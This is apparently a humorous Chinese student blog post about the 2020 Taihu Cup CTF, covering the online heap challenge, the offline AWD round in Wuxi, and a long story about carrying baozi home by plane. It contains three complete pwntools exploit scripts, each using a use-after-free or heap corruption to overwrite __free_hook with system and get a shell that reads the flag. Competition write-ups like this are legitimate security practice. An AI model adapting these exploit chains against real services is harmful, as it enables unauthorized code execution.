为了包子!
WCTF 没邀请👴校,所以👴打了太湖杯。
线上做了个白给 Pwn,加入👴的签到题收藏。
realloc 基本操作,很白给。
realloc size 为 0 时 free ptr 然后返回 0,因为返回值为 0,change 直接返回,不经过下面指针重新赋值,可以造成 uaf。
uaf 泄露堆指针,伪造 bin 链,然后用 5 连续 malloc 取出,可以满足 666 条件。
进 666 可以泄露地址同时执行一次 malloc。
利用 uaf 改 fd 打 free_hook 即可。
from pwn import *
#r = process('./pwn',aslr=False)
r = remote('119.3.89.93',8012)
libc = ELF('./libc.so.6')
#context.log_level='debug'
#print(hex(libc.sym['printf']))
def menu(choice):
r.recvuntil('choice:\n')
r.sendline(str(choice))
def add(index,size,content):
menu(1)
r.recvuntil('index:')
r.sendline(str(index))
r.recvuntil('size:')
r.sendline(str(size))
r.recvuntil('content:')
r.sendline(content)
def change(index,size,content):
menu(2)
r.recvuntil('index:')
r.sendline(str(index))
r.recvuntil('size:')
r.sendline(str(size))
r.recvuntil('content:')
r.sendline(content)
def change_fuck(index):#uaf
menu(2)
r.recvuntil('index:')
r.sendline(str(index))
r.recvuntil('size:')
r.sendline('0')
def remove(index):
menu(3)
r.recvuntil('index:')
r.sendline(str(index))
def show(index):
menu(4)
r.recvuntil('index:')
r.sendline(str(index))
def callfor():
menu(5)
def gift():
menu(666)
add(0,0x58,'fuck')
add(1,0x58,'fuck')
add(2,0x58,'fuck')
add(3,0x58,'fuck')
add(4,0x58,'fuck')
add(5,0x58,'fuck')
add(6,0x58,'fuck')
add(7,0x58,'fuck')
add(8,0x58,'fuck')
add(9,0x10,'fuck')
add(10,0x10,'fuck')
add(11,0x58,'fuck')
add(12,0x58,'fuck')
add(13,0x58,'fuck')
add(14,0x58,'fuck')
add(15,0x58,'fuck')
add(16,0x58,'fuck')
add(17,0x58,'fuck')
change_fuck(0)
change_fuck(1)
change_fuck(2)
change_fuck(3)
change_fuck(4)
change_fuck(5)
change_fuck(6)
change_fuck(7)
change_fuck(8)
show(1)
r.recvuntil('content: ')
leak = u64(r.recvuntil('\n',drop=True).ljust(8,'\x00'))
heap_base = leak-0x280
gift_addr = heap_base+0x260
log.success(hex(heap_base))
change(7,0x58,p64(gift_addr-0x10))
callfor()
remove(11)
remove(12)
remove(13)
remove(14)
remove(15)
remove(16)
callfor()
gift()
r.recvuntil('there is a gift: ')
leak = int(r.recvuntil('\n',drop=True),16)
libc_base = leak-0x264140
#libc_base=0x155555321000
log.success(hex(leak))
log.success(hex(libc_base))
r.sendline('123')
print(hex(libc.sym['__free_hook']))
free_hook = libc_base+libc.sym['__free_hook']
system = libc_base+libc.sym['system']
add(18,0x50,'fuck')
add(19,0x50,'/bin/sh')
change_fuck(18)
change(18,0x50,p64(free_hook))
gift()
r.sendline(p64(system))
gift()
r.sendline(p64(system))
free(19)
r.interactive()
同样是 realloc 利用,👴觉得湖湘杯的 only_add 比这个有意思。
线上赛和省赛报道是同一天,建议围观三万👴的博客《醉饮九回潇洒去,万军从中取首级——2020省赛之旅》
25 队线下,所以👴就来到了无锡。
进招待所之后,先让小黄鸭歇着
这招待所真不戳。
食堂,彳亍!👴继续贯彻落实去年湖湘杯“吃,用大盘吃,吃三盘”的策略,万万没想到 housebuilding 比👴还能吃。👴和 housebuilding 在口乞方面达成了共识,但是👴🚪在彳亍方面出现了分歧,👴和 7k👴、陈延毕都觉得彳亍的,housebuilding 觉得⑧彳亍。
食堂的面条不如去年湖湘杯的,那牛肉太带了,这边的面条就是清汤面,👴加丶辣椒炒牛肉的牛肉,约等于去年湖湘杯的牛肉面。
说到湖湘杯👴突然有了灵感,👴宣布,👴把 2019 湖湘杯牛肉面命名为:李⚽牛肉面
常规 awd,开倒车,技术支持不是北京易霖博信息技术有限公司,彳亍。
2 pwn,2 web,开局拖题,监控 flag,发现给了流量,不做了,睡大觉。没过多长时间 pwn2 被☀了,这题看着不像 awd,像 koh。这波把 koh 的题放到 awd,比去年湖湘杯把 awd 题目放到 koh 不知道高到哪里去了。
👴不会修,👴是垃圾,只能照着流量☀。
Pwn1 也很快被☀了,直接照着流量写 exp,👴龙鸣了,交互写的有问题,改了半天,但还是在吃饭之前整完了,☀全场。
后来发现有的队伍把格式化字符串🐏了,翻流量又翻出来个不用格式化字符串的 exp。
两个 exp:
def exp(ip, port):
try:
r = remote(ip,9999)
def menu(c):
r.recvuntil('Choice>> ')
r.sendline(str(c))
def add(index,size,note):
menu(1)
r.recvuntil('Index: ')
r.sendline(str(index))
r.recvuntil('Size: ')
r.sendline(str(size))
r.recvuntil('Note: ')
r.sendline(note)
def show(index):
menu(2)
r.recvuntil('Index: ')
r.sendline(str(index))
def delete(index):
menu(3)
r.recvuntil('Index: ')
r.sendline(str(index))
def edit(index,note):
menu(4)
r.recvuntil('Index: ')
r.sendline(str(index))
r.recvuntil('Note: ')
r.send(note)
add(0,256,'%11$p')
show(0)
leak = int(r.recvline().strip(),16)
log.success(hex(leak))
libc_base = leak-0x1f0fc8
log.success(hex(libc_base))
one = libc_base+0x10a41c
free_hook = libc_base+0x1eeb28
system = libc_base+0x55410
add(10,3760,'/bin/sh')
add(2,16,'test2')
edit(2,'A'*16)
delete(2)
add(3,256,'f84040000000000041414141414141414141414141414141414141414141414141414141414141'.decode('hex'))
add(4,1717965040,p64(free_hook)*5)
edit(0,p64(system)*2)
log.success(hex(free_hook))
show(10)
r.recvuntil('Choice>> ')
r.sendline('5')
r.sendline('echo wsnd;cat flag')
#r.interactive()
r.recvuntil('wsnd\n')
flag = r.recvline()
log.success(flag)
return flag
except:
pass
def exp2(ip, port):
try:
r = remote(ip,9999)
def menu(c):
r.recvuntil('Choice>> ')
r.sendline(str(c))
def add(index,size,note):
menu(1)
r.recvuntil('Index: ')
r.sendline(str(index))
r.recvuntil('Size: ')
r.sendline(str(size))
r.recvuntil('Note: ')
r.sendline(note)
def fuck_add(index,size,note):
menu(1)
r.recvuntil('Index: ')
r.sendline(str(index))
r.recvuntil('Size: ')
r.sendline(str(size))
r.recvuntil('Note: ')
r.send(note)
def show(index):
menu(2)
r.recvuntil('Index: ')
r.sendline(str(index))
def delete(index):
menu(3)
r.recvuntil('Index: ')
r.sendline(str(index))
def edit(index,note):
menu(4)
r.recvuntil('Index: ')
r.sendline(str(index))
r.recvuntil('Note: ')
r.send(note)
add(0,1536,'0')
add(1,1952,'1')
add(4,240,'4')
fuck_add(5,128,'3535353535353535353535353535353535353535353535353535353535353535353535353535353535353535353535353535353535353535353535353535353535353535353535353535353535353535353535353535353535353535353535353535353535353535353535353535353535353535353535353535353535353535'.decode('hex'))
payload = '6262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262'.decode('hex')
fuck_add(6,80,payload)
delete(1)
delete(4)
delete(5)
delete(6)
payload = '414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141416405000000000000000041400000000000f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f20a'.decode('hex')
fuck_add(3,512,payload)
payload = '0000000000000000000000000000000048404000000000000a'.decode('hex')
fuck_add(7,1717964608,payload)
show(0)
leak = u64(r.recvuntil('\n',True).ljust(8,'\x00'))
log.success(hex(leak))
libc_base = leak-0x9ec90
log.success(hex(libc_base))
one = libc_base+0x10a41c
free_hook = libc_base+0x1eeb28
system = libc_base+0x55410
edit(0,p64(system)*2)
r.recvuntil('Choice>> ')
r.sendline('/bin/sh')
r.sendline('echo wsnd;cat flag')
r.recvuntil('wsnd\n')
flag = r.recvline()
log.success(flag)
return flag
except:
pass
👴还是不会修,👴一修就宕机,但是👴能保证宕机和被☀不会同时发生。
housebuilding patch 出了带失误,文件传不上去,导致有一轮宕机和被☀同时发生,他让 7k👴不再孤单。
web1 被☀且宕机,直到最后一小时才解决宕机问题,和前面队伍分差太带,👴直接提前称霸茶歇区。
最后一个小时平台开始炸了,差丶致敬北京易霖博信息技术有限公司。有一次暂停,那轮没 check,一看榜宕机队全防住了。但是伏笔不大,1-7队分差都特别大,一轮 check 没啥影响。北京易霖博信息技术有限公司就不一样了,他🐎的这群 jb 不会 check。
最后👴第七,差丶因为吃了小汉堡被 SUS 淦成老⑧,差①三万,第七名和第二十五名有🔨区别。隔壁人上人比赛也是第七名,刚好一等奖,第七名和第一名有🔨区别。
这是👴打过的体验比较好的比赛,感谢南航的各位带佬。
如果能喜提三等奖就更好了,可惜👴是🌶🐓。
1p0ch👴 找👴面🐓,👴正在外面🏃体育课打卡,只能等夜里面🐓,所以就突然下了带雨,👴配速三分钟跑回招待所。
👴💊洗澡,此时👴突然想起来👴还带了塑胶小黄鸭
所以
这时候⑧能面🐓,面🐓建议🤺
👴穿上衣服带着小黄鸭就过去了,1p0ch👴 说 N 神想看👴的 b 脸就拿手机拍了一张,👴大意了,没拍他一张。
然后和 N 神云面🐓,👴没报湖湘杯,网鼎又弃赛,痛失 N 神。
看了一波 N 神写的今年的湖湘杯,李⚽不再说水军了,👴青结。
👴听说 Lj3jsjljijej 也去湖湘杯,血亏,214⑧能胜利会师梦回高考。
👴和三万👴说,Asuri 有女同学,而👴🐋以后可能连男同学都没了,这可能就是贵校和南航之间的差别⑧,为之奈何(那咋办🐎)。
三万👴让👴好好想想为啥👴没有女朋友,👴把他批判一番,想的还是⑧够深,👴🚪应该批判一番贵校,而不是考虑👴没有女朋友的问题。
希望 21 级能有更多的女同学。
贵校给👴的报销到了,贵校是坠吼的带学
贵🐋是非常重视口乞的,因为人活着就得吃,不吃就会饿死,所以👴🚪19 号夜里在招待所就开始研究吃什么。housebuilding 查了一波无锡有什么吃的,小笼包,彳亍。👴对无锡的印象就是包子,因为👴远古时期吃过一次,一个在阿姆斯特丹的无锡人做的,给👴 👴👴送了一些,👴记不太清楚了,👴只记得他们给👴说是无锡包子,👴吃了挺多,有丶甜。
夜里没有小笼包外卖,所以👴🚪吃了烧烤,喝了丶奶茶。
20 号下午没吃饱,夜里点外卖,housebuilding 又查了一波包子,还是没有,所以👴🚪吃了炸🐓。
21 号旅游,直接睡到中午,早上白给,没在招待所吃早饭血亏。housebuilding 一顿操作,带着👴🚪去三凤酒家,打烊了,又去王兴记吃小笼包,有丶坑外地人的感觉,⑧吃,所以👴🚪吃了丶烤肉。
下午瞎逛,准备吃饭,7k👴说肯德基 ⑧坑外地人(断句很重要所以👴加了空格),所以👴🚪就去肯德基坐着。
👴想起了包子,👴🚪还没吃包子,👴🚪必吃包子。
👴寻思👴得找个本地人问问,本地人吃包子都去哪吃。👴让他们在肯德🐓等着,出去转了一波,发现有个小卖部,门口坐了个带👴,问之。
带👴说前面右拐有个店,杨兴记,彳亍。
彳亍!👴🚪吃上了包子。
甜口肉包子,吃多了可能有丶腻,👴直接喝了丶醋
包子,彳亍!
小混沌也⑧错。
🐓蛋面👴没看懂,先上一碗阳春面,👴说👴🚪要的是🥚面。
”🥚🐎👆就来“
👆了个煎蛋,👴龙鸣了,👴理解成阿姆斯特丹的鸡蛋面了。
吃完 housebuilding 问👴🚪,包子能不能带上✈。👴🚪感觉⑧太彳亍,但是 housebuilding 还是买了⑧个。
”不让带就留在机场⑧“
👴宣布,不可能不让带,如果不让带,👴就当场把这个包子吃掉。
现在👴🚪的头等带事就是把包子带↑✈,让冯老师吃上包子。过安检的时候👴感觉👴🚪跟泰若瑞斯特[ˈterərɪst]一样,👴先过去,housebuilding 在后面,👴听见两个安检带师好像在说包子。
housebuilding 顺利过了安检,这是 housebuilding 的一小步,是包子的一带步,👴🚪看起来就像是太湖杯拿了一等奖恰十万块钱,但是👴觉得十万块钱远不如包子重要,因为👴🚪没有十万。
但是👴™也没女朋友啊👴为啥会觉得包子重要?
housebuilding 检查了一波包子,有的漏了汤,但是问题不带。
👴带着小黄鸭,housebuilding 带着包子,起飞,回贵校。
贵市最近降温,夜里又下雨,但是👴想到 housebuilding 和包子👴就⑧觉得冷了。天冷,彳亍;人冷,彳亍;包子凉了,⑧彳亍。👴🚪想了几个加热方案,用贵室的微波炉、用贵舍的开水。
housebuilding 有伞⑧打,雨中回消息,👴泪目。
包子是怎么送到冯老师手上的,👴⑧知道,👴回了宿舍,⑧在现场,👴只拿到了一张包子的照片。
应该是用贵舍的开水水浴加热,冯老师吃到了 housebuilding 从签到那天就开始念叨的包子,👴泪目。
这就是爱情⑧
建议 包子 加入贵🐋第一课中
因为天冷,彳亍;人冷,彳亍,第二天在贵室诞生了世界名画《7k👴觉得冷》,此处略去,不说。
和太湖杯没关系但是👴顺手挂到这了
👴11.25 去贵院团委述职,👴 ppt 实在没啥写了就把👴🚪的浮生日记写上去了
然后团委老师建议👴把这些发到贵院官媒上
👴傻了
但是按照贵院坠新的素质测评办法,👴浮生日记水十篇约等于 SCI 一作,👴赚了
《赚了》
本作品采用知识共享署名-非商业性使用-禁止演绎 4.0 国际许可协议(CC BY-NC-ND 4.0)进行许可。
This work is licensed under the Creative Commons Attribution-NonCommercial-NoDerivatives 4.0 International License (CC BY-NC-ND 4.0).